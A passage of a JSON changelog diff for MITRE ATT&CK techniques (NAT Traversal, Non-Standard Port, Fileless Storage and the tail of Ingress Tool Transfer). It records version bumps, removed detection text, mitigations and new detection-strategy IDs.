+ "Network Devices", + "Windows" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.714000+00:00\", \"old_value\": \"2025-04-15 19:59:17.217000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious.\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.6\", \"old_value\": \"2.5\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][9]\": \"Don Le, Stifel Financial\"}}", + "previous_version": "2.5", + "version_change": "2.5 \u2192 2.6", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention" + ], + "new": [ + "M1037: Filter Network Traffic" + ], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0060: Detect Ingress Tool Transfers via Behavioral Chain" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 16:48:08.241000+00:00", + "modified": "2025-10-24 17:48:46.071000+00:00", + "name": "Network Address Translation Traversal", + "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1599/001", + "external_id": "T1599.001" + }, + { + "source_name": "RFC1918", + "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.", + "url": "https://tools.ietf.org/html/rfc1918" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.071000+00:00\", \"old_value\": \"2025-04-25 14:46:38.101000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may bridge network boundaries by modifying a network device\\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\\n\\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n\\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n\\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.\", \"old_value\": \"Adversaries may bridge network boundaries by modifying a network device\\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\\n\\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n\\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n\\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\", \"diff\": \"--- \\n+++ \\n@@ -2,6 +2,6 @@\\n \\n Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\\n \\n-When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n+When an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders. \\n \\n-Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities\\n+Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\\n\\nMonitor the border network device\\u2019s configuration to determine if any unintended NAT rules have been added without authorization.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring network traffic on both interfaces of border network devices. Compare packets transmitted by the device between networks to look for signs of NAT being implemented. Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3. In some cases, Port Address Translation (PAT) may also be used by an adversary.\\n-\\n-Monitor the border network device\\u2019s configuration to determine if any unintended NAT rules have been added without authorization.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may bridge network boundaries by modifying a nett1Adversaries may bridge network boundaries by modifying a net
>work device\u2019s Network Address Translation (NAT) configuratio>work device\u2019s Network Address Translation (NAT) configuratio
>n. Malicious modifications to NAT may enable an adversary to>n. Malicious modifications to NAT may enable an adversary to
> bypass restrictions on traffic routing that otherwise separ> bypass restrictions on traffic routing that otherwise separ
>ate trusted and untrusted networks.  Network devices such as>ate trusted and untrusted networks.  Network devices such as
> routers and firewalls that connect multiple networks togeth> routers and firewalls that connect multiple networks togeth
>er may implement NAT during the process of passing packets b>er may implement NAT during the process of passing packets b
>etween networks. When performing NAT, the network device wil>etween networks. When performing NAT, the network device wil
>l rewrite the source and/or destination addresses of the IP >l rewrite the source and/or destination addresses of the IP 
>address header. Some network designs require NAT for the pac>address header. Some network designs require NAT for the pac
>kets to cross the border device.  A typical example of this >kets to cross the border device.  A typical example of this 
>is environments where internal networks make use of non-Inte>is environments where internal networks make use of non-Inte
>rnet routable addresses.(Citation: RFC1918)  When an adversa>rnet routable addresses.(Citation: RFC1918)  When an adversa
>ry gains control of a network boundary device, they can eith>ry gains control of a network boundary device, they may modi
>er leverage existing NAT configurations to send traffic betw>fy NAT configurations to send traffic between two separated 
>een two separated networks, or they can implement NAT config>networks, or to obscure their activities.  In network design
>urations of their own design.  In the case of network design>s that require NAT to function, such modifications enable th
>s that require NAT to function, this enables the adversary t>e adversary to overcome inherent routing limitations that wo
>o overcome inherent routing limitations that would normally >uld normally prevent them from accessing protected systems b
>prevent them from accessing protected systems behind the bor>ehind the border device.  In network designs that do not req
>der device.  In the case of network designs that do not requ>uire NAT, adversaries may use address translation to further
>ire NAT, address translation can be used by adversaries to o> obscure their activities, as changing the addresses of pack
>bscure their activities, as changing the addresses of packet>ets that traverse a network boundary device can make monitor
>s that traverse a network boundary device can make monitorin>ing data transmissions more challenging for defenders.    Ad
>g data transmissions more challenging for defenders.    Adve>versaries may use [Patch System Image](https://attack.mitre.
>rsaries may use [Patch System Image](https://attack.mitre.or>org/techniques/T1601/001) to change the operating system of 
>g/techniques/T1601/001) to change the operating system of a >a network device, implementing their own custom NAT mechanis
>network device, implementing their own custom NAT mechanisms>ms to further obscure their activities.
> to further obscure their activities 
", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication", + "M1037: Filter Network Traffic", + "M1043: Credential Access Protection" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0163: Detection Strategy for Network Address Translation Traversal" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-14 18:18:32.443000+00:00", + "modified": "2025-10-24 17:49:14.187000+00:00", + "name": "Non-Standard Port", + "description": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1571", + "external_id": "T1571" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + }, + { + "source_name": "change_rdp_port_conti", + "description": "The DFIR Report. (2022, March 1). \"Change RDP port\" #ContiLeaks. Retrieved September 12, 2024.", + "url": "https://x.com/TheDFIRReport/status/1498657772254240768" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.187000+00:00\", \"old_value\": \"2025-04-15 19:58:58.463000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1030: Network Segmentation", + "M1031: Network Intrusion Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0227: Detection Strategy for Non-Standard Ports" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-23 19:55:25.546000+00:00", + "modified": "2025-06-05 15:30:20.139000+00:00", + "name": "Fileless Storage", + "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/011", + "external_id": "T1027.011" + }, + { + "source_name": "Aquasec Muhstik Malware 2024", + "description": " Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.", + "url": "https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/" + }, + { + "source_name": "Bitsight 7777 Botnet", + "description": "Batista, Jo\u00e3o. Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.", + "url": "https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet" + }, + { + "source_name": "CISCO Nexus 900 Config", + "description": "CISCO. (2021, September 14). Cisco Nexus 9000 Series NX-OS Fundamentals Configuration Guide, Release 7.x. Retrieved June 5, 2025.", + "url": "https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html" + }, + { + "source_name": "Elastic Binary Executed from Shared Memory Directory", + "description": "Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.", + "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html" + }, + { + "source_name": "SecureList Fileless", + "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.", + "url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/" + }, + { + "source_name": "Microsoft Fileless", + "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.", + "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats" + }, + { + "source_name": "Sysdig Fileless Malware 23022", + "description": "Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.", + "url": "https://sysdig.com/blog/containers-read-only-fileless-malware/" + }, + { + "source_name": "Akami Frog4Shell 2024", + "description": "Ori David. (2024, February 1). Frog4Shell \u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.", + "url": "https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Christopher Peacock", + "Denise Tan", + "Mark Wee", + "Simona David", + "Xavier Rousseau", + "Vito Alfano, Group-IB" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Creation\", \"WMI: WMI Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-05 15:30:20.139000+00:00\", \"old_value\": \"2025-04-15 22:35:48.121000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).\\n\\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n\\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \\n\\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \", \"old_value\": \"Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\\n\\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n\\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\\n\\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n-Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\\n+Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).\\n \\n Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n \\n-Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\\n+Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \\n \\n Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Bitsight 7777 Botnet\", \"description\": \"Batista, Jo\\u00e3o. Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.\", \"url\": \"https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet\"}, \"root['external_references'][3]\": {\"source_name\": \"CISCO Nexus 900 Config\", \"description\": \"CISCO. (2021, September 14). Cisco Nexus 9000 Series NX-OS Fundamentals Configuration Guide, Release 7.x. Retrieved June 5, 2025.\", \"url\": \"https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may store data in \"fileless\" formats to conceal t1Adversaries may store data in \"fileless\" formats to conceal 
>malicious activity from defenses. Fileless storage can be br>malicious activity from defenses. Fileless storage can be br
>oadly defined as any format other than a file. Common exampl>oadly defined as any format other than a file. Common exampl
>es of non-volatile fileless storage in Windows systems inclu>es of non-volatile fileless storage in Windows systems inclu
>de the Windows Registry, event logs, or WMI repository.(Cita>de the Windows Registry, event logs, or WMI repository.(Cita
>tion: Microsoft Fileless)(Citation: SecureList Fileless) In >tion: Microsoft Fileless)(Citation: SecureList Fileless) Sha
